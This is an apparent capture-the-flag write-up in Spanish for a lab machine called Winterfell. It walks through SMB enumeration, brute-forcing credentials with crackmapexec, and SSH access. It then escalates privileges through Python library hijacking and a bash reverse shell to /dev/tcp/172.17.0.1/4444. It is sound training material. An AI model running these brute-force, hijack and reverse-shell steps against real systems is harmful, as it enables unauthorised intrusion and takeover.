> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/winterfell-write-up.md).

# Winterfell write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/MtJ92WbGmNwTIpH52G0r" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/ImWUYXW1fSUV7n9F74yM" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH), 80 (HTTP), 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Así que ingresamos la IP de la máquina víctima y observamos lo siguiente:

<figure><img src="/files/95tjl7wbHaHLn2ThPCPI" alt=""><figcaption></figcaption></figure>

Como no encontramos nada interesante vamos a utilizar la herramienta llamada **Dirb** para buscar rutas ocultas con el siguiente comando:

```bash
 dirb http://172.17.0.2/
```

<figure><img src="/files/D6fo9JC8WWaDp2QOEwZ9" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe un listado de directorios en la ruta `http://172.17.0.2/dragon/`, así que la ingresamos en el navegador y observamos lo siguiente:

<figure><img src="/files/hhd4APMho4cjApIfdxCv" alt=""><figcaption></figcaption></figure>

Observamos un archivo llamado `EpisodiosT1` el cual contiene lo siguiente:

<figure><img src="/files/GEUXknRpVax1xJj9xahT" alt=""><figcaption></figcaption></figure>

Esto parece un diccionario que podría contener contraseñas o usuarios, así que vamos a crear un archivo para guardar el contenido.

Ahora usaremos **enum4linux** para encontrar posibles usuarios del servicio **Samba**, para ello ejecutaremos el siguiente comando:

```bash
enum4linux 172.17.0.2 
```

<figure><img src="/files/M21BTh4UQQeCAghbDL1c" alt=""><figcaption></figcaption></figure>

Esto nos lista a los usuarios `jon`, `aria` y `daenerys`. Por lo tanto, guardamos estos usuarios en un archivo y realizamos un ataque de fuerza bruta utilizando el diccionario encontrado anteriormente. Ahora, para hacer el ataque de fuerza bruta vamos a usar `crackmapexec` con el siguiente comando:

```bash
crackmapexec smb 172.17.0.2 -u usuarios.txt -p contrasena.txt
```

<figure><img src="/files/NtGwe153zCufej1bi4go" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `jon` es `seacercaelinvierno`, así que ahora vamos a usar **smbmap** para ver los recursos a los que se pueden acceder con el siguiente comando:

```bash
smbmap -H 172.17.0.2 -u "jon" -p "seacercaelinvierno"
```

<figure><img src="/files/k4fFinfRgkC6Mq1jfnHX" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos de lectura y escritura en el directorio `shared`, así que vamos a acceder a él usando **smbclient** con el siguiente comando:

```bash
smbclient //172.17.0.2/shared -U "jon"   
```

<figure><img src="/files/PWLk32ZFA5WFavGoJNiN" alt=""><figcaption></figcaption></figure>

Una vez dentro encontramos el archivo llamado `proteccion_del_reino`, así que descargamos el archivo y comprobamos su contenido

```bash
get proteccion_del_reino
```

<figure><img src="/files/68eWY85RmPXEy3b7gkSX" alt=""><figcaption></figcaption></figure>

Vemos una contraseña cifrada en base64, así que ejecutamos el siguiente comando para desencriptarla:

```bash
echo "aGlqb2RlbGFuaXN0ZXI=" | base64 -d
```

<figure><img src="/files/ex3CX3fmNPpnyDE2Qepb" alt=""><figcaption></figcaption></figure>

Vemos que la contraseña desencriptada corresponde con `hijodelanister`, así que la utilizamos para iniciar sesión por el servicio SSH como el usuario `jon`.

<figure><img src="/files/nFaFtO6MMAAKe0TYVcqx" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima como el usuario `jon`, ejecutamos el comando `sudo -l`. Este comando nos indica que podemos ejecutar el fichero `/home/jon/.mensaje.py` como el usuario `aria` utilizando Python. Por lo tanto, vamos a ver el contenido del programa:

<figure><img src="/files/uGkaIHnbmsPCJsURZjID" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yDjsBhIjxsyydnSIzmVR" alt=""><figcaption></figcaption></figure>

Observamos que el programa está usando la librería `hashlib`, así que vamos a crear un archivo que se llama `hashlib.py` para que al ejecutar `/home/jon/.mensaje.py` como aria nos envíe una shell interactiva. Para ello, el archivo `hashlib.py` contendrá lo siguiente:

```python
import os

os.execl("/bin/bash", "bash", "-p")
```

Y ahora solo lo ejecutamos `/home/jon/.mensaje.py` como aria con el siguiente comando:

```bash
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
```

<figure><img src="/files/dzyZx2odTRbQyOCbt5d5" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario aria, ejecutamos nuevamente el comando `sudo -l`, el cual nos indica que podemos ejecutar los binarios `/usr/bin/cat` y `/usr/bin/ls` como el usuario `daenerys`.

<figure><img src="/files/QXKf2mw5iLXSPEIAkC3F" alt=""><figcaption></figcaption></figure>

Así que vamos a ver el contenido del directorio home del usuario `daenerys` con el siguiente comando:

```bash
sudo -u daenerys /usr/bin/ls /home/daenerys
```

<figure><img src="/files/fccpGsLjjuQ9MuuzisB4" alt=""><figcaption></figcaption></figure>

observamos un mensaje dirigido a Jon, así que ejecutamos lo siguiente para ver que contiene:

```bash
sudo -u daenerys /usr/bin/cat /home/daenerys/mensajeParaJon
```

<figure><img src="/files/PtpNrT8cYxq2MDTB9IGG" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `daenerys` es `drakaris`, así que iniciamos sesión como el usuario `daenerys`.

Una vez somos el usuario `daenerys`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el script `/home/daenerys/.secret/.shell.sh` como cualquier usuario.

<figure><img src="/files/exOcLX32sTc1XxAldE3E" alt=""><figcaption></figcaption></figure>

Así que vamos a modificar el contenido de este script para enviarnos una shell interactiva por el puerto 4444, para ello ingresamos lo siguiente:

```bash
#!/bin/bash

bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

<figure><img src="/files/bu6eHTDpXt7qM9N121rC" alt=""><figcaption></figcaption></figure>

Ahora nos ponemos en escucha con **netcat** por el puerto 4444 y ejecutamos el script como usuario root.

```bash
sudo nc -nlvvp 4444
```

<figure><img src="/files/DfQXvIMY0S6i2DsHzkjV" alt=""><figcaption></figcaption></figure>

Y finalmente ya tendríamos una shell con privilegios elevados.
